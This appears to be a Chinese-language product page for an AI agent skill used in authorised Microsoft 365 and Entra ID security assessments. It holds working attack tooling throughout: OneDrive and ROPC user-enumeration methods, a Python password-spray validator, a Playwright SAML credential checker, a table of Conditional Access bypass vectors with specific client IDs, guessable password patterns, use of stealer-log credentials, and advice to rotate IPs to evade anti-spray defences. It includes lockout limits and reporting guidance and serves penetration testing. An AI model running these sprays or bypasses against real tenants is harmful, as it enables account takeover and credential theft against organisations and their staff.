关于 m365-entra-attack
m365-entra-attack 是用于授权评估 Microsoft 365 和 Entra ID 租户的安全技能。内容涵盖租户与用户发现、谨慎的凭据验证、Conditional Access 结果解读,以及考虑账户锁定风险的测试指引。
主要功能
- 01租户与域信息发现
- 02OneDrive 差异式用户枚举
- 03AADSTS 身份验证结果解读
- 04低频凭据验证与锁定控制
- 05Conditional Access 限制评估
适用场景
- 01盘点多个 Entra 租户的攻击面
- 02区分有效凭据与 MFA 或设备策略阻断
- 03识别功能账号候选并控制尝试次数
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill m365-entra-attack安装后在 Claude Code 中输入/m365-entra-attack确认已加载。
详细介绍
适用场景
在以下情况触发:
- 目标使用 M365 / Entra ID(autodiscover.* 记录、重定向到 login.microsoftonline.com,或技术栈备注中提到“Microsoft Office 365”)
- 你有企业邮箱列表或从窃密程序泄露的凭据
- 参与的任务涉及“凭据喷洒”、“密码喷洒”、“Entra 攻击”或“通过 M365 实施账户接管”
- 你在侦察中发现
*.onmicrosoft.com、*-my.sharepoint.com、enterpriseregistration.*、enterpriseenrollment.* - 客户提到“条件访问”、“绕过 MFA”或“合规设备”
不要用于:
- 仅限本地部署的 Active Directory(使用单独的 AD 攻击技能)
- 服务到服务的令牌攻击(威胁模型不同)
- 必须通过钓鱼实施的攻击链(由钓鱼技能涵盖)——但你可以在此处为凭据验证步骤做准备
租户发现(msftrecon)
# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.example
输出中的关键字段:
- 租户 ID(不同域名可能共用同一租户,也可能各自拥有独立租户——务必测试所有自有域名)
- Federation Information.Namespace Type =
Managed(仅云端,ROPC 可用)|Federated(ADFS,攻击方式不同) - SharePoint Detected(Yes = 可使用 OneDrive 枚举途径)
- Communication Services Teams/Skype(通过身份验证后的横向移动目标)
- Admin Consent Endpoint accessible(同意钓鱼攻击面)
**风险提示:**如果组织为关联域名配置了多个 Entra 租户,那么每个租户都是独立的攻击面,各自拥有用户列表、锁定策略和 CA 配置。不要假设一次密码喷洒可以覆盖所有租户。
AADSTS 代码参考(请记住)
| AADSTS | 含义 | 对锁定的影响 | 应对方式 |
|---|---|---|---|
| 50034 | 用户不存在 | 无 | 跳过;从喷洒列表中移除 |
| 50126 | 用户名或密码无效 | 失败尝试计数 +1 | 用户存在——稍后尝试其他密码(不超过上限) |
| 50053 | 账户已锁定(Smart Lockout) | 无(已锁定) | 先前已锁定 → 报告给 SOC;不要重试 |
| 53003 | CA 阻止令牌签发 | 失败尝试计数 +1 | 密码有效——停止,密码正确 |
| 50076 | 需要 MFA | 失败尝试计数 +1 | 密码有效——需要第二个因素 |
| 50079 | 需要强身份验证 | 失败尝试计数 +1 | 密码有效——与 50076 相同 |
| 50158 | 需要外部身份验证 | 失败尝试计数 +1 | 密码有效——联合身份验证 MFA |
| 530003 | 需要设备状态 | 失败尝试计数 +1 | 密码有效——需要合规设备 |
| 65001 | 需要同意 | 失败尝试计数 +1 | 应用同意问题,与身份验证无关 |
| 700016 | 应用不在租户中 | 无 | 用户属于其他租户——调整目标 |
| 90002 | 租户不存在 | 无 | 租户名称拼写错误 / 租户已失效 |
关键要点:{53003, 50076, 50079, 50158, 530003} 中的任意代码都表示密码正确——Microsoft 只会在凭据验证成功后返回这些代码。即使无法获取令牌,也应将其记录为已确认有效的发现。
Smart Lockout 计算(严格控制尝试上限)
Microsoft 默认策略:
- 10 分钟内登录失败 10 次 → 锁定 1 分钟
- 登录失败 20 次 → 锁定时间逐步延长(指数退避)
- 计数器在所有身份验证流程之间共享(ROPC + SAML + IMAP + EWS + SMTP + 设备代码)
任务执行规范:
- 硬性上限:每次任务中,每位用户最多尝试 2 个密码**(整个任务期间)**(有些任务限制为 1 次)
- 使用原子写入的状态文件——绝不能让两次测试运行同时更新计数器
- 终止开关:如果观察到超过 N 个 LOCKED 响应,立即停止运行(这可能表明已有攻击者活动,或者你计数错误;无论哪种情况都应暂停)
数学保证:每位用户只尝试 1 次,就不可能触发 Smart Lockout(1 < 10)。因此,你看到的任何 AADSTS50053 都是此前已发生的锁定 → 可将其用于检测正在活动的攻击者(参见 mid-engagement-ir-detection 技能)。
用户枚举——途径与加固状态(2026 年 5 月)
❌ 已加固(不再存在差异)
GET /getuserrealm.srf?login=<email>&xml=1
对于任何匹配租户自有域名的电子邮件地址,均返回相同的 XML。仅限租户级别,不限用户级别。
POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}
在没有有效会话的情况下返回 AADSTS1659001(缺少 flowToken)——无法枚举。
GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1
对于任何地址,均返回相同的 200 状态码和相同的 JSON 正文。约于 2024 年加固。
✅ 仍然有效(截至 2026 年 5 月——关注有效期)
OneDrive 个人站点差异:
GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
Host: <tenant>-my.sharepoint.com
- 302 → 用户存在(重定向到 Authenticate.aspx,要求身份验证)
- 404 → 用户不存在(404 FILE NOT FOUND)
- 无需尝试身份验证 → 不影响账户锁定
- 额外发现:现有用户的
Sprequestduration标头更快(约 40 毫秒),而不存在的用户约为 600 毫秒——可作为辅助时序判断依据
注意事项:
- 仅当租户已配置 SharePoint 时有效(检查 msftrecon 的
SharePoint Detected: Yes) - Microsoft 会持续加固这些端点——依赖此方法前请重新验证
- Entra 中可能存在未配置 OneDrive 的用户(取决于许可证)——可能产生假阴性
2026-05-17 重新验证(授权安全评估复核): 截至 2026-05-17,OneDrive 枚举原语仍然有效。校准结果:已获许可的用户返回 HTTP 200,正文约为 57 KB;不存在的用户 / 共享邮箱账户返回 404,正文为 0 字节。不带 /_layouts/15/onedrive.aspx 的 /personal/ 根路径也会返回相同的差异。
关键用例:许可证差异 = 账户类别信号。 将 OneDrive 200/404 与 ROPC AADSTS50034/50126 交叉比对:
| OneDrive | ROPC | 分类 |
|---|---|---|
| 200 | AADSTS50076(要求 MFA)或 50126 | 已获许可的普通用户(真实员工,已强制实施 MFA) |
| 200 | AADSTS50034 | (不应发生——存在不一致,请调查) |
| 404 | AADSTS50126 | 共享邮箱 / 功能账户 / 服务账户(无 OneDrive 许可证,但有密码)——历史上免于 MFA 的类别,是尝试猜测密码的首要目标 |
| 404 | AADSTS50034 | 租户中不存在 |
| 404 | AADSTS50076 | 边缘情况(已强制实施 MFA 的功能账户——罕见) |
OneDrive-404 + ROPC-50126 组合是**“可能绕过 MFA 的功能账户”信号**——管理员经常在 CA 策略中豁免这些账户,因为它们用于无法满足 MFA 要求的自动化流程。在授权安全评估复核中发现了这一用途:识别出 noreply@、purchase@、accounts@、postmaster@、transport@ 是功能账户候选(在任何大型综合企业租户中都很常见)。
ROPC AADSTS50034 / AADSTS50126 差异:
- AADSTS50034(用户不存在)不会增加 Smart Lockout 计数器
- AADSTS50126(密码错误)会增加计数器
- 因此,每个用户尝试 1 次密码喷洒,可用作粗略的用户存在性枚举器(每个 AADSTS50034 表示未命中,每个 AADSTS50126 表示命中 + 消耗 1 次尝试)
条件访问绕过选项(大多数已被阻止,但仍记录在此)
| 向量 | 状态(2026 年) | 备注 |
|---|---|---|
| 不同的 ROPC client_id(Microsoft Graph PowerShell、Azure CLI 与 Office) | 有时有效 | 条件访问可以按应用设置;尝试 1b730954-1685-4b74-9bfd-dac224a7b894(Graph PS)、04b07795-8ddb-461a-bbee-02f9e1bf7b46(Azure CLI)、d3590ed6-52b3-4102-aeff-aad2292ab01c(Office) |
| 不同的资源(graph.microsoft.com / outlook.office.com / management.azure.com) | 有时有效 | 条件访问范围可以按资源设置 |
| EWS / IMAP / POP3 / SMTP 基本身份验证 | 大多已禁用 | Microsoft 已于 2022 年 10 月弃用基本身份验证;仍有针对个别账户的例外 |
| FOCI(客户端 ID 系列) | 刷新令牌路径 | 使用一个 FOCI 客户端的刷新令牌为另一个客户端签发令牌 |
| 设备代码网络钓鱼 | 有效 | 需要用户交互(许多测试活动不在范围内) |
| 模拟合规设备 | 困难 | 需要注册 Intune 设备——工作量大,通常没有内部人员协助就无法完成 |
| AiTM 会话 Cookie 窃取 | 有效(需网络钓鱼) | 现代主要技术——不在非网络钓鱼测试活动的范围内 |
| FOCI + 家族刷新令牌窃取 | 身份验证后 | 需要已经持有令牌 |
| 通过不同 SP 使用 SAML SSO | 有时有效 | 每个企业应用都有自己的条件访问策略;可将条件访问较弱的应用作为跳板 |
| 通过 VPN 绕过地理限制 | 有时有效 | 如果“受信任位置”条件访问策略包含公司总部 IP,则使用该处的 VPN 出口 |
**本次测试活动的关键见解:**在采用通用条件访问策略(合规设备 + MFA)的租户中,上述所有路径都会在相同流程下返回 AADSTS53003。凭据有效,但无法从外部使用。**通过网络钓鱼获取 Cookie 是唯一现实可行的攻击路径。**请明确记录这一点,让客户了解威胁模型。
ROPC 密码验证(标准测试)
单次尝试验证器模式(Python):
import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1 # or 2 — never higher
def attempt(email, password):
state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
if state.get(email.lower(), 0) >= HARD_CAP:
return {"status": "SKIPPED_CAP"}
body = urllib.parse.urlencode({
"resource": "https://graph.windows.net",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell
"client_info": "1",
"grant_type": "password",
"username": email,
"password": password,
"scope": "openid",
}).encode()
state[email.lower()] = state.get(email.lower(), 0) + 1
json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic
req = urllib.request.Request(
"https://login.microsoftonline.com/common/oauth2/token",
data=body, method="POST",
)
req.add_header("Content-Type", "application/x-www-form-urlencoded")
try:
r = urllib.request.urlopen(req, context=ctx, timeout=15)
body = json.loads(r.read())
# PARSE AS JSON — see CRITICAL TRAP below about substring matching
if "access_token" in body: # ← JSON key check, NOT substring
return {"status": "VALID", "body": body}
return {"status": "STATUS_200_NO_TOKEN", "body": body}
except urllib.error.HTTPError as e:
msg = e.read().decode(errors="ignore")
for code, status in [
("AADSTS50034", "INVALID_USER"),
("AADSTS50126", "INVALID_PW"),
("AADSTS50053", "LOCKED"),
("AADSTS53003", "VALID_CA_BLOCK"),
("AADSTS50076", "VALID_MFA"),
("AADSTS50079", "VALID_MFA"),
]:
if code in msg:
return {"status": status, "code": code}
return {"status": "OTHER", "msg": msg[:200]}
⚠ 关键陷阱 — AADSTS50076 响应正文包含字面上的 "access_token" 子字符串
当 CA 策略要求 MFA,而 ROPC 无法满足要求时,Entra 会返回一个错误响应正文,其中包含一个 claims 字段,列出 CA 策略 ID 作为逐步验证质询:
{
"error": "invalid_grant",
"error_description": "AADSTS50076: ...you must use multi-factor authentication...",
"error_codes": [50076],
"suberror": "basic_action",
"claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}
"access_token" 子字符串会出现在 CA claims 质询 JSON 中。 宽松地检查子字符串,例如 if "access_token" in raw_body:,会将每次因 MFA 而受阻的尝试都误判为成功签发令牌。
务必先解析 JSON,再检查 if "access_token" in parsed_dict: — 切勿在 OAuth 错误响应正文中匹配子字符串。这个问题是在 2026-05-17 的授权安全测试复核中发现的:子字符串检查在 Sway/Yammer/Bookings/Tunnel 的 client_ids 上产生了 7 个误报的“CA 绕过”,而这些应用实际上都正确强制执行了 MFA。
claims.access_token.capolids 的值是租户内部的 Conditional Access 策略 ID — 可用于补充侦察信息,但不是令牌。应在测试记录中将其记为“触发的 CA 策略 ID” — 这是防御方的线索,不是攻击方的成果。
节奏:
- 绝不可并发。必须单线程、串行并控制节奏。这是硬性规定,不是可调整的参数。 Entra 有一层 IP 信誉反喷洒机制,与按用户实施的 Smart Lockout 彼此独立。触发它的因素是并发,而不是每用户尝试次数。一旦触发,它就会对你只尝试过一次的账户大量返回
AADSTS50053(从数学上讲,这不可能是真正的按用户锁定 → 而是 IP 级拒绝),这会 (a) 污染你的账户存在性数据 — 此时 50053 的含义变得模糊,而且你已经用掉了每用户 1 次的上限,无法重新测试;(b) 将你的出口 IP 标记为租户中的喷洒来源。在一次授权安全测试中观察到:从串行改为 12 个线程后,15 秒内产生了约 183 个误报的AADSTS50053;而在 454 次控制节奏的尝试中仅有 1 个。 - 之前“每秒 ≤30 个请求没问题”的说法对真实租户具有误导性 — 应理解为“串行,并加入 1.5–3 秒抖动”,绝不能理解为“并行扩展到每秒 30 个请求”。
- 按用户计:状态文件中的硬性上限是唯一影响锁定原因判断的因素;串行控制节奏则关系到 IP 信誉。
- 加入随机抖动(每次尝试之间间隔 1.5–5 秒),降低机器行为特征。
- 紧急停止机制: 如果在每用户上限为 1 的一轮测试中出现超过约 5 个
AADSTS50053,请立即停止 — 你可能触发了 IP 反喷洒机制(这是你的问题,应降低频率/轮换 IP/等待冷却),也可能检测到了真实的外部喷洒(这是一项发现)。无论哪种情况,都应暂停并排查后再继续。
SAML SSO 浏览器流程(适用于 CA 阻止 ROPC 时的确定性凭据验证)
如果 ROPC 返回 AADSTS53003,你就已证明密码有效。要证明它在两条身份验证路径中都有效(并留存 Microsoft CA 阻止页面作为证据),请通过 Playwright 执行 SAML SSO:
import asyncio
from playwright.async_api import async_playwright
async def saml_validate(target_sp_url, username, password, screenshot_dir):
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
context = await browser.new_context(ignore_https_errors=True)
page = await context.new_page()
# Step 1: navigate to SP
await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
# Step 2: click sign-in (selectors vary per SP)
for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
try:
await page.locator(sel).first.click(timeout=3000)
break
except: continue
await page.wait_for_load_state("networkidle", timeout=20000)
# Step 3: submit username at Microsoft
await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
await page.locator('input[type="submit"], #idSIButton9').first.click()
await page.wait_for_load_state("networkidle", timeout=20000)
# Step 4: submit password
await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
await page.locator('input[type="submit"], #idSIButton9').first.click()
await page.wait_for_load_state("networkidle", timeout=30000)
# Step 5: capture
await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
content = await page.content()
cookies = await context.cookies()
await browser.close()
# Check outcome
low = content.lower()
if "convergedconditionalaccess" in low or "53003" in low:
return "CA_BLOCKED" # cred valid, CA wall
elif "verify your identity" in low or "approve sign in" in low:
return "MFA_REQUIRED" # cred valid, MFA wall
elif "we couldn't sign you in" in low or "wrong" in low:
return "INVALID"
elif "<post-auth-landing-marker>" in low or "dashboard" in low:
return "FULL_SUCCESS" # session obtained (replace marker per target app)
return "UNCLEAR"
Microsoft 的 ConvergedConditionalAccess 页面(源代码中的 PageID)是 CA 阻止的确定性证据。
通过锁定差异检测活跃攻击者
如果你在每用户尝试次数上限为 1 的情况下,仍看到多个用户出现 AADSTS50053(已锁定):
- 这些锁定不是由你造成的(数学上:1 < 10)。
- 有外部攻击者正在对租户进行喷洒攻击。
- 按字母顺序排列已锁定用户 — 如果用户聚集在一起,说明攻击者使用了经过排序的用户名列表。
- 比较喷洒开始和结束时的锁定数量 — 你执行测试期间新增的锁定 = 攻击者此刻仍在活动。
- 将已锁定的电子邮件地址列表记录为一项发现(SOC 可据此采取行动 — 他们会调取这些用户的登录日志)。
这是任何 M365 喷洒测试中影响最大的副作用。务必追踪并报告。
多品牌企业目标常见的密码喷洒模式
<BrandName>@<Year>—<Brand>@2026、Tata@2026<BrandName>@123—<Brand>@123(非常常见)<PlantCity>@<Year>—<City1>@2026、<City2>@2026(生产工厂所在城市)<EmployeeID-as-password>— 旧版应用中很常见(PAN 号码、员工编号、电话号码末 4 位)Password@<year>、Welcome@<year>、Admin@<year>— 通用默认密码<BrandName>@<Y2-digits>—<Brand>@26
参与测试时的注意事项: 客户提供泄露凭据转储(窃密日志)时,应优先使用这些凭据。每条泄露凭据都计为针对该用户最有力的已知猜测的一次限额尝试。
参与测试日志记录(强制要求)
每次 M365 尝试都要记录到 JSONL:
{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}
按用户跟踪器(原子操作):
{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}
IP 轮换日志(按天记录):
2026-05-08 <src-ip> <ISP-AS> <operator-handle> Round 2 spray
这三份记录是报告的交付证据。它们会作为状态保留到下一次参与测试中。
真实案例发现模板(来自授权参与测试)
用于报告:
发现:261 个 Entra 账户处于既有锁定状态
- 主题:检测到正在进行的外部密码喷洒活动
- 证据:筛选出
status=LOCKED的o365_results.jsonl - 计算:每用户尝试 1 次 × 261 个已锁定账户 ≠ 我方所为
- SOC 采取的措施:调取过去 30-60 天内这 261 个账户的登录日志
发现:有效的 M365 凭据 — <user>:<password>(被 CA 阻止)
- 主题:已确认凭据有效
- 证据:ROPC AADSTS53003 + SAML SSO
ConvergedConditionalAccess页面截图 - Microsoft 文档摘录:“仅在密码验证后才会返回 AADSTS53003”
- 建议:强制重置密码,并在全组织范围内审查是否存在类似情况
反面做法(不要这样做)
- 不要在多个资源上使用该用户的泄露凭据 — 当 CA 阻止所有访问路径时,这只会消耗限额,没有额外收益
- 收到 AADSTS50053 后不要重试 — 账户已锁定,只会再次看到锁定状态
- 绝对不要并行发送 ROPC/身份验证请求 — 只能串行、控制节奏。并发会触发 Entra 的 IP 信誉反喷洒机制(与 Smart Lockout 分开),产生大量虚假的
AADSTS50053,污染结果并标记你的 IP。通过增加线程“加速”得不偿失。唯一安全的提速方法是先移除无效或不存在的用户(每批GetCredentialType少于 60 个),而不是提高并发度。 - 不要忘记测试所有 Entra 租户 — 关联域名通常拥有独立租户,密码策略也各不相同
- 不要撤回 CA 阻止相关发现 — AADSTS53003 意味着密码正确;这正是关键所在
工具
pip install --break-system-packages msftrecon o365spray # may need to clone msftrecon from GitHub
brew install pandoc # for report generation
go install -v github.com/projectdiscovery/... # PD toolkit for general recon
参与测试工作目录 engagement_log/m365_validator.py 中提供了预构建的 m365_validator.py 模板。请根据你的参与测试调整 attempt() 函数。
相关技能与链路
hunt-mfa-bypass— AADSTS50053(账户锁定)、AADSTS50126(密码错误)与 AADSTS50076(需要 MFA)之间的差异可作为免费的因子存在性预言机。链路原语:观察到 M365 AADSTS50053 锁定差异 → 用户已启用 MFA,但旧版身份验证未受 CA 强制执行 →hunt-mfa-bypass因子探测(SMS 回退、语音回退、OAuth 设备代码流、针对旧版端点的 ROPC)→ 通过旧版协议路径绕过条件访问。hunt-ntlm-info— 本地 NTLM 拓扑泄露可为 Entra 喷洒攻击提供信息。链路原语:SharePoint/Exchange/IIS 匿名 NTLM Type-2 → 解码 AV_PAIR 得到corp.example.com→m365-entra-attack通过 openid-configuration 解析 Entra 租户 → 使用真实的 UPN 格式进行 ROPC 喷洒攻击。okta-attack— 混合组织会将 Okta 用作 IdP,并与 Entra 联合。链路原语:M365getuserrealm返回指向*.okta.com的NameSpaceType: Federated和 AuthURL → 转向okta-attack枚举租户 → Okta 账户接管 → 向 Entra 提交 SAML 断言 → 获得完整的 M365 访问权限。hunt-saml— 联合租户接受已签名的 SAML 断言;在联合 IdP 上使用 XSW 或剥离签名可完全绕过 Entra 的控制。链路原语:getuserrealm揭示联合关系 → 识别 IdP(ADFS / Okta / PingFederate)→ 对 IdP 的/adfs/ls/或等效端点使用hunt-samlXSW1-XSW8 → 伪造断言 → Entra 授予访问权限。redteam-report-template— M365 发现项需要清晰说明租户、用户和 CA 策略,因为影响范围可能是“组织使用的每项 Microsoft 服务”。链路原语:此技能验证的发现项 → 使用triage-validation7-Question Gate 进行检查 → 通过redteam-report-template整理交付内容,并明确说明影响范围(涉及哪些应用、用户和数据)。